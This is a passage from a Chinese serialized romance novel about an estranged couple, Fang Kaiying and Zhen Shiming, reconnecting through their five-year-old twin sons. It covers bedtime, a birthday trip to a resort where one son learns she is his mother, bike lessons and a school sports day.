那我顺着谁的意思?方楷莹,陪孩子睡个觉而已,你以为我有别的意思吗?呵, 那你可真有意思。” 方楷莹手指着他,嘴唇动了动,说不过他。 烦死人了! 甄世明烦死人了! 她没话可说,甄世明唇边坏笑,吹着口哨洗澡去了。 方楷莹看着甄世明嚣张的背影,用眼神反复鄙视他,最后还是拖着步子上了楼,以芯芯的性格,如果她不上去,孩子恐怕会一直等下去,没准还会掉几滴小珍珠。 上楼一看,芯芯果然没睡着。 他自己睡在中间,均匀地腾出床的左右两边留给爸爸和妈妈,黑葡萄般的眼睛一眨一眨,静静期盼。 方楷莹躺在芯芯的左边,芯芯立刻挽住她的一边手臂,脑袋依恋地贴靠过去,“妈妈,我都想你了。” 方楷莹用手抚捋孩子的头发,儿童洗发水有一股清爽的水果香味,她又凑近嗅了嗅这颗香香小小的苹果头,最后在脑门儿亲上一口。 门口有轻微的响动,门把手被人按下,外面的光亮被甄世明身体遮挡,他轻手轻脚地走进来,本以为方楷莹和孩子都已经睡着了。 门一关,方楷莹和芯芯都睁着眼睛,齐齐对他注目。那一大一小的脑袋瓜挨在一起,让他觉得安心踏实。 芯芯的儿童被不够三个人用,甄世明进来时手臂挂了一条长羽绒被,他将长被展开,盖住方楷莹的身体,确认铺好后自己也躺进去。 安静的夜晚,黑灯的房间。 孩子的呼吸稚嫩短促,男人的呼吸低沉深厚,还有她,屏住呼吸盯天花板。 不知道甄世明怎么想,反正方楷莹感觉别扭,虽然和甄世明之间隔了一个五岁孩子,但她还是往床边挪了挪,芯芯抱住她的胳膊跟着挪,脸蛋始终紧贴手臂,小人儿侧躺依偎,蜷曲身躯,紧贴方楷莹,脚蹬甄世明。 “妈妈,”孩子在静悄悄的夜晚喊她,反复确认:“你这次回来真的不走了吧。” “嗯。”方楷莹低声地回答。 芯芯这会儿是睡了一觉醒来,加之心情激动,压根不困,便把藏在心里的问题都拿出来问,最关心的就是妈妈没有他们在身边,过得好不好。 “妈妈,你在外国过得好吗?” 方楷莹能感觉到甄世明也在沉默听着,因为他刚才还嫌芯芯蹬他,这会儿没动静了。 她说:“还可以。” 方楷莹说的是实话,她在外面没受什么苦。身体弱做不了繁重的体力劳动,但她聪明,可以从事脑力劳动。 刚出国读博士时也为钱所困过,没困多久,就有软件公司找到她,说是有大客户举荐,把一部分编程的活儿给她做,薪水说得过去,自己养活自己没问题,几次合作下来她还攒了一些钱,之后在玛丽女士的实验室做研究员,更是开出高薪。 芯芯又问:“吃得好不好?” 她说:“也还可以。” 在吃的方面,她更喜欢中国菜,偶尔和安妮出去吃火锅,她不太能吃辣,但安妮每次一叫她,她就出去。 她喜欢那种额头流汗,舌尖辣麻的感觉,大脑分泌出内啡肽和多巴胺,让她有种“人还活着”的感觉,而在出国之前,这种感觉往往是甄世明给她的。 “妈妈,你困了吗?”芯芯问了许多问题,终于张大嘴巴打哈欠,“芯芯也不困,但我的小眼皮要关门了。” 方楷莹调整好让他舒服睡觉的搂抱姿势,一边轻拍后背,一边柔声哄孩子睡:“芯芯困了,妈妈也困了,我们睡觉觉吧。” 孩子的眼皮打架,逐渐睁不开,头歪在她颈窝睡着,方楷莹把孩子的头扶正,缓缓抽出胳膊,打算起身偷偷离去时,甄世明的手臂越过孩子身体,抓住她的手腕。 “别走,”他顿了顿,“芯芯会醒。” 方楷莹不知该如何是好,紧握手腕的力度昭示着甄世明不会轻易放手,她叹口气,悄声说:“我不走,你放开吧。” 两手紧紧相连,轻置于孩子的小被子上,他似乎也不信任方楷莹,迟迟没有放开。 很久之后,在孩子沉沉入睡,不再发问之时,他的手依然握得紧,拇指轻轻抚摸细瘦的手腕,缓缓开口问:“那时候,肚子上的刀口还没恢复吧?” 如果方楷莹能于黑暗中见他,便能见他眼里黯然,她本来不想再提以前,短短地“嗯”了一声。 “疼么?” 方楷莹以不语回答,她闭上眼睛,现在再回忆一遍当时的痛和苦,那感觉丝毫不曾淡去。 她出国后,关于孩子的问题她只阐述事实,不和任何人谈感受,她知道没人会感同身受,就像她总是不在意别人的感受那般,别人也不会真正在意。 但她现在明白,甄世明在意。 唯一在意的人,是带给她痛苦的这个人,这便是这段关系的可悲之处。 “后来,用祛疤膏了吗?” 甄世明知道问出这些问题两个人都会痛苦,可他这几年一直惦念着,总是要问出来,哪怕是痛,他也不能为了不痛而回避。 早在方楷莹怀孕时,甄世明就准备了很多种类的淡纹祛疤的产品,但那些东西最后都没有用上,那时压根没有拆封,现在早已经放置过期。 她声音很轻地回答:“没。” 她的肚脐下至今仍有剖腹产后的伤痕,细长一条,有增生的痕迹,但她觉得那不丑陋,当然也不是什么勇敢者的徽章,只是代表一段难言好坏的经历。 她不憎恶曾经的经历,憎恶过去是在欺负现在的自己,她走的每一步都造就了她。 是对是错,都是人生。 甄世明很久都没再说话,方楷莹欠他,他也欠方楷莹,每每想到方楷莹孕中受的罪,产后吃的苦,他良心不安。 最终是认命般叹气,他说:“你不想搬过来,我不逼你。我也知道,你想干的事没人能拦住你,你不想干的事没人能逼你,以后你想怎么样,我配合你。” 方楷莹说不出话,觉得有些惊讶,这么多年几乎没听过甄世明说软话,他以前总是吼她,凶她,替她做决定。 沉默了会儿,她说:“你…能帮我看一下适童改造方案吗?我担心有没想到的地方。” “嗯,明天发给我。” “如果你先放开我,我现在就能发给你看。”方楷莹又试着动了动手腕,却被他又握紧。 甄世明闭上眼睛装困,“我累了,明天再看,今天先睡觉。” “睡觉前能不能先放开我?” “不能,芯芯会醒。” 方楷莹:“” 就这样睡了一晚上,方楷莹睡得并不踏实。五年没有同床共枕,她早适应一个人睡,现在难免不习惯,却不敢乱动怕吵醒芯芯,一整晚都听着乱跳的心音梦梦醒醒。 每当她感觉握住手腕的力道减轻,以为甄世明睡着了,尝试抽出手腕,又被他更重地回握,几度没能得逞- 翌日早起,她醒来时甄世明已经不在床上,她叫醒橙橙和芯芯,洗漱下楼之后,甄世明正在厨房准备早餐。 他刚健身后洗了澡,穿黑色运动裤配白背心,在健身房练出的肌肉充血状态还没有完全退去,手臂筋线漂亮,流汗之后皮肤也更显质感,见她拉着孩子的手从楼上下来,扬眉一笑。 方楷莹站定原地,用手捂眼抵抗这摆在眼前的不良诱惑,并义正言辞:“你能不能把衣服穿好?” 甄世明端着两碗小馄饨,特意绕到她身边,坏笑着在耳朵边悄声:“我在家就这么穿,已经很保守了,你真不考虑搬过来?” 方楷莹瞪他一眼,一边说他无聊,一边又脸红,那样子把甄世明逗乐了。 早餐吃芙蓉鲜虾小馄饨,甄世明外刚内柔,亲手包的馄饨个个玲珑可爱,大小正合适,孩子们用小勺子一口一个放进小嘴巴,香得摇头晃脑。 “还是爸爸做的饭好吃,方阿姨做的饭”橙橙有口无心,说了一半又停下。 其实方楷莹是知道的,她自己厨艺不精,这几天都是甄世明嘱咐厨娘来做晚饭,偶尔做一顿早餐,孩子们对着那色香味不佳的食物兴致索然。 她有点儿不好意思,更多是失落,明明已经很努力做了,但是却连早餐都做不好吃。 甄世明看她一眼,很认真地对橙橙说:“每个人都有自己擅长的事,你方阿姨不擅长做饭,但她擅长给你修小汽车。” 橙橙偷眼观察爸爸严肃的表情,知道自己说错了话,默默把碗放下,低眉顺眼地装可怜。 “我确实不擅长做饭,”方楷莹看不出他装可怜,只觉得孩子是真可怜,瞪了甄世明一眼,摸一下橙橙的头,乖哄说:“橙橙先吃饭,以后方阿姨再好好研究研究。” 橙橙乖顺地点点头,得到方阿姨的谅解之后才又大口大口吃饭。 小孩子情绪来得快去得也快,听到爸爸说“方阿姨给你准备了生日礼物”,下弯的唇角立刻上扬,歪着头问今年生日怎么过? 甄世明早有打算,沉吟会儿说:“今年生日打算带你们去农家乐玩儿。” 橙橙歪着脑袋,掰着手指数往年邀请的人,“爷爷奶奶,大姑姑小姑姑,还有嘉豪子涵,我们一起都去农家乐吗?” “爷爷奶奶在国外回不来,大姑姑腿不方便,小姑姑要照顾刚出生的小妹妹,子涵一家要出门旅行,嘉豪报了街舞班。”甄世明很有耐心地跟孩子解释。 橙橙撅起小嘴,“那大家都不来吗?” “方阿姨会在。”他看向方楷莹,又把淡淡的眼光挪开,对橙橙说:“她给你准备了惊喜礼物,咱们一家会很开心。” 橙橙一听惊喜,便追着方楷莹问是什么礼物,又是撒娇又是撒泼,方楷莹被他磨得心软,差一点就要告诉他了,甄世明催促的声音解救了她。 “橙橙,上学要迟到了。” 橙橙的注意力马上转移,钻进衣帽间穿戴围脖帽子准备出发,方楷莹舒了口气,转头问甄世明:“我听蓝梦说以前孩子们的生日都很隆重,今年怎么……是因为我吗?” 怎么就这么巧,她回来了,甄家人和橙橙的朋友们都在这一天有自己的事情。 “确实今年没有邀请,”他说:“但你想多了,不是因为你,是因为我想故地重游。” 她“哦”了一声,还想着这样正好,不用喝酒社交,也不用向别人解释自己其实是甄橙和甄芯的妈妈,再接受别人当面和背后的蛐蛐。 脸上挂着笑容,她也开始真正期盼和孩子过的第一个生日,故地重游,她笑着笑着又感觉不对劲,笑容定格在脸上。 “你说故地重游…是游哪儿?”- 冬至是甄橙和甄芯的生日。 甄世明说要在度假村住两天一晚。 一行四人开车驶离城市,后备箱放了包装神秘的自行车和孩子们的洗漱袋,孩子们坐在后排跟着车载音乐唱儿歌,方楷莹坐在副驾驶,看着甄世明认真开车的侧脸,心情复杂。 方楷莹内心是有点儿抗拒的,自从那件事之后,甄世明和方楷莹都没再来过这个度假村,这里曾经发生过他们的初吻,也发生过让两人心生隔阂的事。 但后来再见面,经历过那个初次性·爱的夜晚之后,两个人再没提过度假村发生的事,谁都想着粉饰太平,谁都不想再揭旧伤疤。 但他们今天来了。 这次来,带着两个孩子。 度假村内外都做了些外观调整,冬天看起来别有一番风味,雪落古堡更显出厚重的历史感,藤蔓爬满斑驳的墙壁,看起来真的感觉好多年过去了。 方楷莹正呵着白雾感叹时光匆匆,甄世明皱着眉头,随口说:“做旧感太明显了,现在什么人都能当设计师了。” 方楷莹:“……” 游玩项目还是丰富的。度假村新圈了片地作为马场,十几匹好马高大威武、昂首警觉,鼻孔嗤嗤冒着热气。 橙橙喊着要摸,甄世明单手将孩子抱起,橙橙胆子也大,一下下捋马颈上那颜色漂亮手感顺滑的皮毛。 芯芯没有那么大的胆子,就是看马也得站远远的,一手揪住方楷莹的衣摆,也不让她上前,一副小怂包模样。 后来橙橙攀上一匹小马,方楷莹选了一匹白马,甄世明带着芯芯骑马,把小孩搂在怀里卡住,芯芯身上全套装备,两只小手始终紧紧盘着爸爸的手臂。 迎着夕阳在湖边骑马慢行,走到甄世明和方楷莹初吻的地方。 他停了下来,圆木荷池还在那里,在夕阳柔软的光晕下,甄世明仍能看清当初一切是怎么发生的,那时鱼儿跳跃欢腾,荷叶碧绿留珠,眼前人羞红一张年轻的脸。 他现在想来,当时的欢喜太浓重,全然胜过后来的烦扰,所以才在心里记了方楷莹那么多年。 方楷莹也停下来,看着过往。 她曾经那么年轻,十八岁时在春天接吻,似乎现在站在这儿,依然能呼吸到荷池边的潮湿空气,而看向甄世明,逆光照着深棕色的头发和平直的肩线,把他勾勒成童话王子的模样。就是这样一个人,爱上了她,最后被她辜负。 “你在想什么?”他问。 方楷莹握紧缰绳,“在想…我搞砸的事情。” 她很少搞砸事情,可偏偏就在感情方面好像从没做对过,这让她有些沮丧。 “我没觉得你搞砸了什么,起码现在每天早晨醒来,一睁眼看到橙橙和芯芯,我很满足,对我来说,这就是最好的。”甄世明把芯芯搂紧了些,低头看着孩子稚嫩的脸颊,淡淡的眉眼。 “那天你喝醉之后,跟我再提这件事,我才知道你一直没有放下。如果你觉得那是不好的记忆,那我们今天故地重游,一起创造一些好的记忆,用今天我们和孩子的圆满覆盖曾经你觉得‘搞砸’的事情,你觉得成吗?” 方楷莹看着甄世明,夕阳温暖的光在他身上错落。在这个时刻,她发现甄世明和年轻时不一样了,少了蛮横霸道,多了成熟理解。 无论是年轻还是现在,他仿佛总是能让她听到心门被叩响的声音。 — 方楷莹只能够允许自己短暂心动。 她点点头,抛开之前的抗拒心理,让孩子、自然与动物亲近那一颗淡然于情的心。 橙橙坐在一匹矮小的马背上扮演孙悟空,龇牙咧嘴抓耳挠腮,芯芯在爸爸怀里紧张得快要哭出来,方楷莹觉得,这一切好极了。 晚饭是度假村准备好的,在属于他们的那一栋楼的一楼,二楼便是方楷莹曾经住过的地方。 虽然只是一家人吃饭,度假村经理还是按照宴会等级布置了温馨浪漫的包间,请米其林厨师团队来做餐,找专业摄影师为一家四口拍了几张照片。 唱过生日歌,橙橙芯芯闭上眼睛许愿。 芯芯很安静,闭上眼睛在心里想,而橙橙把手交握在一起,坐得笔直,眼睛闭起,小嘴叭叭个不停:“我想要每天骑小马,想要幼儿园明天就放假,想要好看的自行车,想要爸爸少生气多买玩具,想要芯芯能拿儿童魔方比赛的冠军,想要子涵对我温柔点儿,想要” 一直说到蜡烛快要燃尽,方楷莹觉得如果没有人打扰他,他会一直说到天亮,甄世明和她对视一眼,摆出“他每年都这样”的无奈表情。 光火逐渐暗淡下来,橙橙稍微睁了睁眼,迅速又小声地说:“想要妈妈早点回来,如果不能回来的话,希望妈妈在这一天也能吃到蛋糕。” 他睁开眼,鼓起脸颊,和弟弟一起吹掉快要熄灭的蜡烛。 方楷莹的心里忽然点燃一簇火苗,感觉暖暖的,但也堵住千言万语。 她其实一直都没想好怎么和孩子说,嘴唇张了张,刚叫出橙橙的名字,甄世明的手就覆在她微凉的手背。 “橙橙,爸爸要跟你说一件事。” “其实方楷莹阿姨就是你的妈妈。” 甄橙在烛火里看了方楷莹一会儿,低下头,扁着嘴说:“我知道,新妈妈。” “不对。就是妈妈,没有新旧。”甄世明拉起他的小手,纠正并道歉:“这事是爸爸不对,爸爸一直没有告诉你,因为爸爸怕妈妈抢走你,你不是一直都盼着妈妈回来吗?” 甄橙不愿和爸爸坚定的眼神对视,将信将疑地看向方阿姨,方楷莹温柔地迎着他的眼神,等他说些什么,他避开那柔软的眼光又望向弟弟,甄芯带着生日帽,紧挨着坐在方楷莹身边,小手揪桌布一角,脸上洋溢着激动又可爱的笑容。 他转着眼珠,把包厢里的人都看了一遍,跳下椅子,站在甄世明面前,说:“我不喜欢这个妈妈!” 第32章 “我不喜欢这个妈妈。” 甄橙说完这话, 双手拉开包厢的实木门,噔噔噔跑到楼上房间,小小的身影消失在方楷莹眼前。 他连蛋糕都没吃。 餐桌边甄世明和甄芯面面相觑, 方楷莹的手更凉了些, 垂着睫毛,盯着蜡油陷进去的蛋糕。 “我上去看看。”甄世明站起身, 方楷莹就拉住他的手, 腕间的纹身被手指尖的冰凉温度覆盖,让他的心脏酸麻得疼了一下。 “我去吧。” 解铃还须系铃人,总是要面对的, 甄世明已经为她开了个头, 总不能什么事情都让他来做。 方楷莹切下一块蛋糕, 装进盘子里,站在橙橙房间门前犹豫了会儿。 这道门没有完全关上, 甄橙留了一道小缝,也许是留给她的, 方楷莹站在门口问道:“橙橙, 我可以进来吗?” 等了好一会儿,甄橙才声音微弱地“嗯”了一声。 她端着蛋糕坐在甄橙的床尾, 小小的孩子用纯白的棉被把自己捂得严严实实, 像藏进一朵小云彩里, 鼻子抽动的哭音在里面格外闷厚,如同被厚云罩住的雷声。 “橙橙, 你在哭吗?” “没有。”小孩声音倔强低哑。 “……”方楷莹把蛋糕放在床头, 抽出纸巾攥进手里,重新坐回床尾,“等你哭好了, 我们再谈,妈妈等你。” 她安安静静等着,一直等到哭红眼睛的小孩从被子里钻出来,额前的头发津湿,分不清是汗水还是眼泪,小小的手臂也留下擦抹眼泪鼻涕的痕迹。 方楷莹无声地凑过去,用纸巾把甄橙的脸和额头擦了一遍,又去擦手臂上的鼻涕,小孩并不抗拒她的接触,乖乖伸出手臂让她揉擦。 “现在可以告诉我吗?”方楷莹问。 小孩把头扭过去,紧绷着脸,倔倔地垂着眼睫。 “我们相处得不是很好吗?你说喜欢方阿姨,也说想让妈妈回来,现在为什么哭呢?” 橙橙不是经常会哭的小孩,这一下子哭狠了,说话一噎一噎的,“爸爸很喜欢芯芯,更喜欢芯芯,我我我以前都想妈妈会更喜欢我,但是但但你也更喜欢芯芯” 他又咧嘴哭起来,刚擦干净的手臂挡在眼前,明明在哭,却不想让方楷莹看到他的眼泪。 这孩子平时大大咧咧什么都不计较,却也有细腻的心思,他知道弟弟更内向胆小,所以能获得爸爸更多关注,但方楷莹也更关注芯芯,橙橙都看到了,他们明显更合脾气。 他觉得不公平,觉得被冷落,如果那个更喜欢芯芯的人是方阿姨,他可以接受,但爸爸告诉他方阿姨就是妈妈,他一直想象中的妈妈应该是更偏爱于他的,于是橙橙感觉天塌了。 方楷莹找到了症结所在,把橙橙抱在怀里哄,轻轻去抹他的眼泪,温柔而耐心地问:“橙橙为什么觉得妈妈更喜欢芯芯?” 橙橙并不抵触她的温柔,哭时还趴在她的怀里,小手揪紧衬衫的肩角,“因为你给芯芯修小车,带芯芯玩儿喷泉,和芯芯总是有话说,总是先牵起芯芯的手。” 小孩子越说越哭,“就连‘你是妈妈’这件事也是芯芯先知道的,爸爸和芯芯都知道,只有我不知道,你们把我蒙在锣里。” “蒙在鼓里”方楷莹纠正。 “哇!”他哭得更厉害。 方楷莹想哄都插不进去话,干脆捂住他的嘴,对泪眼朦胧的小孩儿说:“我给你买了自行车。” 这招有用,橙橙止住哭声,眨眼时挤出眼眶里剩下的泪,“真的?” “真的。”方楷莹擦眼泪的纸用完了,用袖子把温温热热的眼泪擦去,“我给你和芯芯都买了自行车。” 小孩不认为这是偏爱,仰头又要张嘴哭,方楷莹捏扁他的小嘴巴,说:“但是橙橙的自行车里我装了定位器,芯芯没有。因为上次在游乐园你走丢之后,把我吓坏了,所以这次特意给你装了定位器,这样你和自行车都不会丢了。你看,妈妈记得关于你的每一件事。” 橙橙的眼睛重新闪亮,嘴巴逐渐缩起来强压笑容,像一只小嘴尖尖的刺猬宝宝。 “橙橙的自行车是独一无二的,”方楷莹找到窍门,又揉着头发哄道:“橙橙在我心里也是独一无二的。” 房间里的哭声彻底消失,橙橙重新抱住方楷莹,问她是不是真的有自行车,自行车在哪里,什么时候教他骑。方楷莹摸着他的小脑袋,耐心地回答他每一个问题,又哄着把蛋糕吃了几口。 橙橙小口吃着甜蜜蜜的蛋糕,方楷莹用手指抹了一下奶油,印在橙橙幼嫩的脸颊,“生日快乐,橙橙,这是妈妈陪你过的第一个生日,以后还有很多很多生日,我都会陪你一起过。” 小孩子点点头,眼圈红红地说:“我现在还不能习惯叫” 方楷莹把他搂紧了一些,安慰道:“没关系,慢慢来,你还可以叫我方阿姨,等什么时候你觉得我做的和你想象中的妈妈一样,你再告诉我。” 橙橙没有说话,只是双手捧着蛋糕,往方楷莹眼前递了递,“你吃。” 方楷莹张大嘴巴,作势要全部吃掉,但小孩不小气,没躲回去,反而怕她不能全吃到,又往前递,奶油碰到方楷莹的鼻尖,糊在她的唇角,那样子有点儿滑稽,两个人咯咯大笑。 “橙橙先吃蛋糕,我去拿纸巾给你擦嘴。”方楷莹手里的纸巾被眼泪浸湿,又被她捏成皱巴巴的一团,“光顾着擦眼泪了。” 橙橙嘴里咬着小勺子,嘴硬道:“那不是我哭的。” “行,是我哭的,成吗?”她唇边泛起浅淡的笑意,手指尖点了点橙橙的小鼻子。 橙橙害羞地躲避,嘴边也是软融融的奶油,“爸爸也总这样碰我的鼻子,他也总喜欢说‘成吗’。” 孩子模仿着大人的腔调,方楷莹愣了愣神,“是吗?我没注意。” 时光总是潜移默化,什么时候开始他们用同一种腔调说话,这种微小的细节她自己都没注意过,只觉得这是很温柔善意的问询语调。 “是。”橙橙很肯定地说:“我和爸爸天天在一起,他总这么说。” 方楷莹没再搭话,脸色不太自然地站起身,说给橙橙找纸巾。打开门,甄世明正抱着芯芯站在门外,父子俩侧着身,耳朵贴着门偷听,见方楷莹开门出来,甄世明立刻把腰挺直,装作路过。 “你在门外偷听?” “没有。” “还带着孩子偷听?” “说了没有。” 芯芯捂住嘴,偷偷掩住声音,“有,妈妈一上楼爸爸就带我上来了。” 甄世明眯眼盯着芯芯,吓唬他:“明天没收你的自行车。” 他把撅嘴的芯芯放下,把孩子的手递进方楷莹手里,对她说:“你先带芯芯去睡,我和橙橙聊两句。” 看着方楷莹带芯芯离开,甄世明推门进了孩子的房间,橙橙正边吃蛋糕边走神,见他进来也没什么反应。 知子莫若父,他太了解甄橙,小家伙说不习惯叫妈妈,肯定是还有心事没能说出来。 他掏出随身备的纸巾,给橙橙擦嘴,动作肯定不如方楷莹温柔,但橙橙也早就习惯了,任纸巾在嘴边转了一圈又一圈。 “橙橙,你不肯叫妈妈,是在担心什么吗?”他有耐心地问道。 甄橙舔了舔嘴巴,又咬住唇,很久之后才松开,问:“爸爸,有了妈妈之后,我们的生活会改变吗?” 他们父子三人已经这样生活了五年,虽然橙橙总是盼着妈妈能回来,但孩子从来都没有和妈妈一起生活的体验,对于孩子来说,突然回来的妈妈才是陌生人,橙橙也许知道今后的生活状态会发生变化,由此产生了不安。 “会有一点改变吧,”甄世明谆谆善诱,“更多的人爱橙橙,生活会变得更好。” “那…妈妈还会跟那个叔叔结婚吗?还会生新的孩子吗?” “不会,我管着她呢。” 纵然是和孩子最亲密的甄世明也没想到,橙橙能问出这样的问题,孩子的想法有时天真,而有时比他想象中更复杂,他想橙橙应该既想靠近又怕再次伤害。这一点,他这个爸爸倒是能和儿子共情。 可惜方楷莹不懂- 第二天清早。 方楷莹早早起床,请教度假村的米其林厨师做饭技巧,在专业人士的指导下,方楷莹终于给橙橙和芯芯做出美味早餐。 在厨房忙活的时候,她总感觉有人在身后盯着,但几次回头,都没有发现躲在墙角后的橙橙。 最终橙橙是被甄世明一脚踢出墙角的。 他站在方楷莹面前涨红了脸,张口却叫不了妈妈,也叫不了方阿姨,支支吾吾地问早安。 方楷莹不玻璃心,也能理解橙橙,于是回一句早安,对他说:“你要是不想叫我方阿姨,叫我名字也行,叫我莹莹或者…萤火虫。”她装小虫子扇了扇翅膀,把橙橙逗得捂嘴笑。 吃早饭时,橙橙话也很少,得要人引导着说,问他早餐好不好吃,他点点头,问他昨天睡得好不好,他也点头回应。话多的孩子突然不说话,方楷莹还是担心。 甄世明比她淡定,风情云淡地和芯芯说话:“幼儿园又要举办亲子运动会了,今天家委会给我打电话拉赞助,虽然每年我们都参与,但下周我要出差,你和哥哥恐怕不能参加了。” 正在吃饭的橙橙瞬间抬起头,眼睛先看向爸爸,又看向方楷莹。 甄世明低头喝咖啡,仿佛刚才只是告知一件很平常的事,接下来是橙橙主动邀约,还是方楷莹主动请命,他不再敦促,看着这对母子怀着温情别扭。 这时候,芯芯低声说:“妈妈可以去。” 他抬起闪亮的葡萄眼对方楷莹笑笑,方楷莹福至心灵,迅速接收到他的信号,立刻说:“我去,橙橙和芯芯都可以参加。” 橙橙咬着面包,一直竖着耳朵听着,听到甄世明去不了他的眼角就耷下来,又听到方楷莹会去,他的唇角又偷弯上去。 毕竟是小孩子,喜怒哀乐都藏不住。 方楷莹趁热打铁,吃过早饭就把崭新的自行车推到橙橙面前,又掏出护膝和头盔给孩子们装备,橙橙全程都在咧嘴乐,芯芯说哥哥别总笑,会把牙齿晒黑。 天朗气清惠风和畅。 甄世明拤腰望天,正是适合骑车摔跤的好天气。再一看方楷莹,正用手机连接橙橙的自行车定位器。 外观来看,两辆自行车别无二致,但只有橙橙和方楷莹知道,他的自行车是独一无二的。 方楷莹把手机屏幕给橙橙看,一个橘黄色的小橙子图案在地图里一闪一闪。 “这就是我的自行车吗?” “是的,还可以看你的路线。” 孩子迫不及待跨上自行车,芯芯由爸爸带着教,橙橙由方楷莹教。 甄世明的方式是把自行车后轮抬起,先让芯芯原地蹬,掌握感觉同时做好心理建设,孩子总是扭回头问“爸爸你不会放开我吧?” 他含含糊糊地回答,见孩子放心就缓缓把车架放低,芯芯一旦察觉,两脚就脱离脚踏,不敢再蹬了,所以芯芯学车的进展很慢。 方楷莹陪着橙橙,他胆子大不怕摔跤,方楷莹只需要捏住后脖颈让他保持平衡,跟着跑了一段孩子就学会了。 当芯芯还在脚踏板上跳舞的时候,方楷莹已经在教橙橙定位器的使用方法。 她穿素净的衣服,戴一条白色围巾,裹住半张脸,蹲在橙橙身边,圈着孩子的窄肩膀,冬日暖阳照耀在她的发丝,是丝绸般的光泽质感。 甄世明看着她走神,没听到芯芯好不容易鼓起勇气说的“爸爸我准备好了”。 “爸爸?”芯芯抬高音量。 甄世明收回目光,“不想学了?” “我说我准备好了。”芯芯有点恼。 “哦。” 他放开手,芯芯歪歪扭扭骑了五米,摔了。 橙橙连忙跑过去扶起弟弟,拍拍他身上的尘,在芯芯要哭的时候伸出手臂紧抱住他。 “芯芯不哭。” “芯芯再学。” 两三次的摔倒扶起之后,芯芯也终于学会了,骑自行车跟在橙橙后面,两个孩子在方楷莹身边转圈。 小孩子的精力旺盛,一直骑自行车往前,方楷莹一路追得腿疼。 孩子们骑到荷池附近也累了,腿跨自行车原地休息,方楷莹终于追到,坐在荷池旁那根圆木上喘大气。 甄世明身高腿长,不用小跑着追,溜溜达达在她身边坐下,拍了拍裤腿被芯芯一脚一脚蹬上的尘土,一边答孩子叽叽喳喳的问题。 “爸爸,这地方我们昨天来过吧?” “嗯。” “真漂亮!” “晚上更漂亮。” “爸爸晚上来过吗?” “以前来过。” “来干什么?” “和你妈亲嘴。” 喘大气的方楷莹:“!!!” 第33章 方楷莹的脸刷一下红透了, 暗暗捅咕他:“你和孩子说这些干嘛?” 而甄世明一副“嘴长我身上我想说什么就说什么”的混蛋样儿,闭眼舔舔唇,似乎还在回味, 看得方楷莹羞愤交加, 恨不能把他现在推进池塘里淹死。 他总是这样,别人一感觉他善良, 他就要犯坏, 一感觉他正经,他就要浮浪。 从前这样,现在更甚。 神经病病情加重了似的! 方楷莹按下脾气不想和他计较, 而孩子们对“父母爱情”感兴趣, 话匣子打开, 天真地问爸爸各种问题。 芯芯问:“亲亲之后就有了我和哥哥吗?我和哥哥亲嘴的话是不是也会有孩子?” “哦不,亲吻只能表达喜欢的感觉, 生孩子……”甄世明隐隐感觉给自己挖了个坑,没法儿再说下去。 橙橙却追着爸爸问:“那我和芯芯是怎么来的?我们最初就是人吗?生宝宝和生病一样吗?不然为什么小姑姑要去医院生羲羲?” 面对这种问题, 大多数家长都觉得尴尬, 甄世明也一样,想让方楷莹帮忙说点儿别的转移孩子注意力, 于是冲她挤眉弄眼。 方楷莹再次“福至心灵”, 脸色认真地对着两个孩子说:“爸爸的精子通过性.交的方式与妈妈的卵子结合, 妈妈用子宫孕育你们,你们两个是早产儿, 所以只孕育了三十四周, 剖腹产之后你们就出生了。” “你和芯芯最初是受精卵。怀孕和生病不一样,但都需要医生,去医院就是因为需要在医生的帮助下生孩子。” “还有什么问题?” 她解释完所有问题之后, 用一种“科普光荣”的纯澈眼神看着甄世明。 甄世明眉头微皱,双唇微张,被她这种令人迷惑的操作惊呆了,“你跟孩子说这些干嘛?” “你刚才的眼神不是在求助我,让我给孩子科普吗?” “我有吗?” 他只是不知道该怎么说,希望方楷莹转移注意力,就算要科普也希望她能有含蓄委婉一点儿的说法。她倒好,就差把人体结构图掏出来了! “精.子是什么?卵子是什么?子宫是什么?受精卵是什么?我们的身体里也有子宫能生小孩吗?” 方楷莹就在荷池边给两个五岁小男孩开展了生物小课堂,甄世明看着她脸不红心不跳地以科学态度解释问题,觉得虽然荷花已经在冬季枯萎,但这朵奇葩依然绽放,和她十八岁一样。 那天的结尾是橙橙和芯芯不仅学会了自行车,还知道了他们身体里没有子宫,但小鸡鸡里有精.子- 生日过后的几天,方楷莹一直住在山顶别墅,为了和橙橙更亲近一些,她把自己的枕头放在橙橙的卧室里。 一转身,芯芯也抱着自己的小枕头悄咪咪站在她身后,她无奈,把芯芯的枕头也放在边上。 甄世明有时路过卧室,三个人正准备讲故事入睡,他站在门口闲闲道一句“还挺热闹”,就走开了。 那几天真是好日子。她白天工作,下班后回到山顶别墅时甄世明已经接回了孩子,晚上她和橙橙芯芯一起练习亲子运动会的比赛项目,练累了甄世明准备蛋糕水果补充能量。 最最重要的是,甄世明不和她吵架。 或许是看到母子三人都把亲子运动会当成正事办,每天在后花园拉练,每天晚上方楷莹的体力都会消耗殆尽,连和他说话的力气都没有,更别说吵架了。 而方楷莹这么做,完全是出于对竞技比赛的尊重。她听说以前有甄世明参加的时候,橙橙和芯芯总是会拿很多奖牌,所以她把甄世明当做竞争对手,也担心孩子拿不到奖牌会伤心难过。 比赛前两天,甄世明晚饭时突然说“出差”取消了,这下子孩子们可高兴了,只有为亲子运动会准备了一周的方楷莹沮丧着脸。 他参加,就不用她参加了吧? “那我就不参加了吧”她心里不是滋味儿,面儿上还要为大局考虑。 甄世明见她哭丧着脸的可怜样儿,笑了,“往年我带橙橙或者芯芯,拿奖牌也只能一个孩子拿,亲子运动会爸爸妈妈都参与最好不过。” “我还能参与?”方楷莹都没发现她自己变脸可真快,唇角弧度一翘,神态和芯芯是一模一样。 甄世明“嗯”了一声,“我带芯芯拿奖牌,你带橙橙嘛…”他眉梢一挑,贱贱地说:“重在参与。” 方楷莹狠狠白他一眼- 比赛日当天。 甄世明拿出洗涤干净的亲子装,递给方楷莹,说那是橙橙选的衣服,特意为亲子运动会买的。 颜色红得扎眼。 她本来抗拒,但橙橙非磨着她穿,说一家人要整整齐齐。红色运动服一上身,既显肤色亮净,又显身材高挑,是非常适合她的颜色。 方楷莹扎起高马尾,橙橙递给她大黑框墨镜,这一套搭配又美又飒,造型师橙橙看过很满意。 她在镜子前照了好久才出门,甄世明的车已经等在外面,也是同样的装束,甄世明修长的手指把玩儿着墨镜等待,搭配松弛的状态,更是一副玩世不恭的少爷样儿。 等他们都上了车,甄世明墨镜一戴,油门一轰,一家四口就出发了。 